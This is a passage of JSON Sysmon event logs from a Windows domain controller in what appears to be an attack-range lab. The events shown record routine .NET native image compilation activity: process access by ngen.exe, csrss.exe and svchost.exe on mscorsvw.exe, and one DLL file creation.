indows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6705,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:27.447\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4297-5F2D-0000-001059880A00}\r\nTargetProcessId: 3360\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:27.447","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4297-5F2D-0000-001059880A00}","TargetProcessId":"3360","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6706,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:27.463\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4297-5F2D-0000-001059880A00}\r\nTargetProcessId: 3360\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:27.463","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4297-5F2D-0000-001059880A00}","TargetProcessId":"3360","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6707,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:27.494\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4297-5F2D-0000-0010CA8B0A00}\r\nTargetProcessId: 1944\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:27.494","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4297-5F2D-0000-0010CA8B0A00}","TargetProcessId":"1944","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6708,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:27.494\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4297-5F2D-0000-0010CA8B0A00}\r\nTargetProcessId: 1944\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:27.494","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4297-5F2D-0000-0010CA8B0A00}","TargetProcessId":"1944","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6709,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:27.510\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4297-5F2D-0000-0010CA8B0A00}\r\nTargetProcessId: 1944\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:27.510","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4297-5F2D-0000-0010CA8B0A00}","TargetProcessId":"1944","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6710,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:28.541\r\nProcessGuid: {90617006-4297-5F2D-0000-0010CA8B0A00}\r\nProcessId: 1944\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\798-0\\Microsoft.GroupPolicy.Targeting.dll\r\nCreationUtcTime: 2020-08-07 12:01:28.541","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:28.541","ProcessGuid":"{90617006-4297-5F2D-0000-0010CA8B0A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\798-0\\Microsoft.GroupPolicy.Targeting.dll","CreationUtcTime":"2020-08-07 12:01:28.541","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6711,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:28.572\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4298-5F2D-0000-0010CB8F0A00}\r\nTargetProcessId: 4728\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:28.572","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4298-5F2D-0000-0010CB8F0A00}","TargetProcessId":"4728","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6712,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:28.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4298-5F2D-0000-0010CB8F0A00}\r\nTargetProcessId: 4728\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:28.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4298-5F2D-0000-0010CB8F0A00}","TargetProcessId":"4728","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6713,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:28.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4298-5F2D-0000-0010CB8F0A00}\r\nTargetProcessId: 4728\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:28.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4298-5F2D-0000-0010CB8F0A00}","TargetProcessId":"4728","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6714,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 